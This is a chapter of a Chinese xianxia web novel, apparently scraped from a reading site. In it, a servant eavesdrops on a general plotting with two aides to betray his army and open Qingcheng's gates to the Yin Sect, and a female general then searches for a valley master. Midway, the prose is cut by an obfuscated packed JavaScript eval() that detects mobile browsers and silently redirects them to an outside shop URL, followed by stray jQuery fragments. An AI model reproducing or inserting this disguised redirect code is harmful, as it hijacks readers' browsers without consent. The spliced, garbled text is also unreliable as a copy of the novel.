37.密谋
    阿山进了营帐,低着头走到了钱复的身后,视线从旁边大喇喇坐下的两位副官腿上扫过,安静地站着不动了。

    被钱忠留下来的两位副官眼神漠然地从阿山扫过,随意便不再在意他,只死死盯着钱复的一举一动。

    阿山趁着这机会,悄悄从地面将灵识往周围探去。

    山里虫子多,即使是钱忠的营帐里也不可避免,就算偶尔爬进来几条蛇都是常事,更何况是随处可见的蜘蛛。

    且蜘蛛结网还能防下大部分的蚊虫,因而一般只要不碍着事,钱忠也不会刻意清理角落里的蜘蛛。

    于是蜘蛛便自在惬意地在钱忠营帐里听着他们不为人知的密谋。

    “老大。”那左眼有刀疤的凶悍男子坐在钱忠右手边的位置上,眼神凶戾,“咱们刚刚怎么不做掉那钱副司守?还要把他们带进来,这不是碍我们的事吗?”

    钱忠凉凉扫了他一眼,冷哼道:“蛮奴你这脑子也该使使,我们已经杀了一个钱义,要是再把钱复杀了,青城那些人怕是要发觉对不劲了。”

    蛮奴懵了懵,挣扎着道:“推到隐宗那边不就行了?人都没了,他们还能查出来不成。”

    钱忠摇摇头,眼睛眯了起来,摩挲着手上的令牌,缓缓道:“隐宗不可信。”

    蛮奴挠了挠头,摸不懂自家大哥的想法,但他很明智地选择了闭嘴,既然脑子不行,他听令行事就行了。

    钱忠看了他一眼,倒也没说什么,蛮奴脑子不好使,但忠心,又能打,是他重要的心腹,他倒也愿意给予一二分宽宥。

    不过谋事,还得看江淮的。

    钱忠思索了会,便朝着他左手边那位道:“江弟以为如何?”

    那江淮并未穿戴盔甲,而是一副书生打扮,方才一直在默不作声地喝茶。这时听了钱忠的话,他才慢慢放下手里的茶碗,朝着钱忠开口道:“小弟不才,但依我之见,大哥怕是想奇袭青城?”

    “哦?”钱忠玩味地勾起了嘴角,眼中升起几分兴趣,“如何见得?”

    江淮便笑道:“大哥留下那钱副司守的命可不就是做给青城看的,若是大哥不想对青城动手,那我等人去楼空,何必顾惜他的性命?”

    听到江淮最后那句,蛮奴不住点头,嘴里还道:“就是就是,区区小贼,何必顾惜他的性命。”

    钱忠没理蛮奴,看向江淮道:“那江弟以为如何?”

    江淮神色自若,向钱忠道:“大哥处理钱义的时候,可没这么多顾忌,倒是叫兄弟们收拾东西,想必大哥当时还没有袭击青城的想法。”

    钱忠眯了眯眼睛,拿起来茶碗来喝了一口,耐着性子听江淮说。

    “大哥应当也知晓,奇袭青城风险太大,一着不慎,整个南山军都要葬送性命,那昭阳帝可不是个好相与的角色。”

    “哼。”钱忠将茶盏重重放下,鼻子里发出一声重哼,显然对昭阳帝很是不满。

    江淮却并不受他影响,继续笑眯眯道:“大哥突然改变主意,怕是有什么新的考虑?不妨说来与小弟听听?我等方才好于大哥一同谋划”

    钱忠沉默了一阵,又将那灵人司的令牌拿出来在手中把玩,过了会才开口道:“还是瞒不过你。”

    江淮笑着饮了口茶。

    钱忠半眯起眼睛,压低声音道:“我本来是打算带着我们几个兄弟先寻个地界修行,先入了那半仙的门再说。但隐宗今早传音与我,许诺我等五枚仙丹,让我等帅军从城内接应。”

    江淮听见“仙丹”的时候瞳孔有瞬间睁大,显然对着玩意也很是渴望,但他勉强按捺下心里的激动,尽可能地保持着冷静看向钱忠道:“隐宗不可信。”

    “我知道。”钱忠眯了眯眼,“但等咱们进了城,还愁威胁了不了他们?”

    他眼底闪过冷光:“不给,咱们就弄死他们。”

    江淮低着头,眯着眼睛,眼底尽是冰冷的谋算,一晌没有说话。

    倒是蛮奴听了,心里却泛起一种警惕的直觉来,是猎人对于危机的直接感应,他皱起眉头来,向钱忠道:“此事莫不是有诈?我们兄弟三人之前向隐宗讨要那仙丹,隐宗可是死活不松口,一枚都不许给咱们。今日怎这般大方。”

    钱忠和江淮听他这话,都颇有些惊诧地转头看向他,似是没想到他竟还有这般的脑子。

    江淮手上一顿,似乎想到了什么,那双狭长的凤眼眯起来,显出一种阴狠来。

    钱忠倒是笑着接过了蛮奴的话道:“我竟不曾想到,你竟也有这般考虑,蛮奴莫不是胆怯了?”

    “哼。”蛮奴很是不屑地嗤了一声,“大哥莫不是取笑我,我几时何曾胆怯过?”

    “那倒也是。”钱忠本也是调笑,听他这般一说,应得也很是利落,“蛮奴悍勇,人尽皆知。”

    倒是江淮眯着眼睛,又将话头扯到正事上来:“我倒是觉得蛮奴说得有些道理。那隐宗今日许下此等重诺,定是有处理不了的棘手问题……起码是短时间内极难处理的麻烦,这才以重利诱使我等。”

    他顿了顿道:“大哥可知现今青城局势?我等势弱,还当谨慎为上。”

    钱忠被他一番话说得也稍稍警惕起来,但又确实舍不下隐宗所许的重利,否则也不会特意留那钱复性命。

    但江淮谋事,一向警惕,替他们避过不少祸患,因而钱忠开口道:“隐宗那边是说今儿个青城出现了一些不好惹的灵人势力,竟然将那青城的散兵游勇组织起来了,让他们一时进不区城,这才想请我们帅军入城,替他们将城门打开。”

    江淮神色愈加深了,他问道:“隐宗可说城内抗击的是哪股灵人势力?”

    钱忠摇了摇头:“隐宗也不知道,他们只也猜测是青城灵人司将城内的灵人都纠集起来了。”

    想了想,钱忠又补充道:“隐宗本来只许诺我等三枚仙丹,但我咂摸着他们攻城正抢时间呢,讨价还价一番,要五枚仙丹,隐宗竟也应了。”

    江淮听着便皱了眉:“此间怕是有诈。”

    钱忠也皱着眉:“我也觉得此事有些蹊跷,但隐宗所予甚厚,我一时也下不得决定。”

    江淮叩了叩桌子,没有说话,屋里一时陷入寂静。

    终于蛮奴耐不住性子,朝着钱忠道:“依我之见,不如干他一票,反正这战之后我们无论如何都是走的,倒不如多贪些资源,反正南山军这些人不过也都是弃子。”

    江淮眸子一定,颔首笑道:“蛮奴说得有理,倒是我这二哥有些瞻前顾后了。”

    钱忠被蛮奴一语道破,寻思着也是道理,这时便也不再纠结,心里一横便确定道:“蛮奴说得是,我们既然走了这条路,那也不怕走得再远些。”

    他比出一个斩首的手势来,眼神凶狠,咬牙道:“干了。”

    说罢,他便站起身来,与江淮和蛮奴一道去集结军队了。

    …………

    阿山默默收了灵识,手指蜷了蜷,眼底有了计较,默默站在钱复的身后。

    钱复在帐中坐着,被那两位副官的眼神看得寒毛直竖,心道不好,却突然一时福至心灵,朝阿山呼喝道:“你这奴仆,净在这里傻站,没半点眼里见,也不知道好生伺候,还不赶紧替二位军爷奉茶。”

    阿山听着他呼喝,忍不住心里赞了声妙,面上却是唯唯诺诺应道:“是是,是,小的这就去。”

    那两位副官被这呼喝也震了一下,不约而同地将视线往阿山身上移去,只见这奴隶果然听话地替他们奉茶,那奉茶姿势又优雅又好看,守礼得紧,心道不愧是大户人家的奴仆,这伺候人的功夫都不一样。

    鬼使神差地倒也真将茶水接了过来,好生呷了一口,只觉得这茶水滋味更妙了些,脸上露出几分满意的轻亵之色来。

    阿山奉了茶,便又乖巧地退到了钱复的身后,默默站着。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192485|142551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    不消一晌,其实也就是半盏的功夫,便听见钱忠掀帘子进来的声音。

    钱忠这时已经着好了盔甲,一脸笑意地看向钱复,声音友善道:“钱司守。我等已经将南山军集结完毕,您看,我们可现在便出发?”

    钱忠这般忽然亲近的表现,让钱复心里不住咯噔一声,直觉有什么不对。但他面上却一脸欣喜道:“钱将军可叫我好等。青城之急,刻不容缓。依我看来,既然南山军已经集结完毕,我们不如现在变即刻出发。不知将军以为如何?”

    钱忠便哈哈大笑几声道:“自然,那便依钱司守所言,即刻出发。毕竟行军整备,宜早不宜迟。”

    钱忠几乎确认了这股的不详的预感,但他又不知道钱忠心里到底在打什么算盘,尚且还以为钱忠不过是想要抢功罢了,于是便也顺着钱忠的话打了几个哈哈,朝他俯身一拜道:“多谢钱将军。”

    阿山站在他身后,也随他朝着钱复一拜,被碎发挡住的脸上波澜不惊,眼底却冷厉得吓人。

    …………

    单娘破了戒令,在青城里纵马奔驰,半盏茶功夫不到,便已经到了百草堂的门前。

    城中的老少几乎都围在了百草堂周围,将周遭的几家店铺占得严严实实,但秩序却相当井然,显然是被组织好的。这些百姓见她打马疾驰而来,纷纷往店铺里面挤了挤,给她让出一条宽阔大道来——这不过是小市民见了贵人车马的条件反射罢了。

    单娘这时却没有时间去考虑他们,她从马上翻将下来,单手擎住马绳,轻而易举控住了马,扬声便朝着要铺子里喝到:“乌谷主可在?”

    然而屋内却只传来一声厉喝:“添什么乱,在外头好生待着,不舒服外边有大夫替你们瞧。”

    那人火气大,但单娘也不生气,她将马往柱子上一栓,抬脚便往屋内去,道:“我乃乌谷主旧友,找她有要事相告。”

    屋内并没有乌木的身影,只有几个大夫和两个病人,那几位医师一边把脉,一边查书,一边往屋内配药。虽然忙得不可开交,但并没有出乱子,病人的情绪也很是稳定,瞧着像是已经有了生气。

    单娘刚进来,刚好碰见有个医师从书里抬起头来,那人顿时便被她吓了一跳,从椅子上跳了起来。

    定了定神,才看着她,没好气道:“不是让你们听从指挥?怎么还乱闯进来?”

    单娘拱手向他施了一礼,道:“乌谷主可在此?我寻她有要事。”

    那人听她这样说,眼神反而愈加犀利,周遭的医师也都默不作声地看了过来。

    “你找谷主何事?”

    “机密。”单娘道,“只能告诉乌谷主,还请诸位告诉我谷主所在。”

    “我家谷主所在也是机密。”那年轻医师双眼一凝,持针欲发,“还请道友先行亮明身份。”

    单娘皱了皱眉,她来得匆忙,未曾料想到乌木不在此处,一时竟拿不出什么有力的证明来。

    那人见她这般神色,作势便要开打,却被单娘轻而易举地擒下了。

    屋里的医师脚步轻移,隐隐将她围了起来。

    单娘一手制住他,一手往身上摸去,只勉强翻出来个灵人司的玉牒,但这玩意证明不了她跟乌木的交情,这就麻烦……

    正想着,百草堂内又急急忙忙闯进来个人——正是江廉。

    他紧赶慢赶,到底不如单娘速度,将将赶到,便听着要百草堂的医师问单娘要证明。

    于是他将灵人司的令牌往前一怼,沉声道:“灵人司担保,尔等听单将军吩咐。”

    单娘朝他看了一眼,不由默赞了一声柳如澜的安排,便转身急急问道:“你们谷主何在?”

    终于药柜后面露出个头发花白的老者来,眼神沉静地看向单娘道:“单将军莫怪,我家谷主几个时辰之前已经出去了,至于谷主现下在何处,恕我等不知。”

    单娘一愣。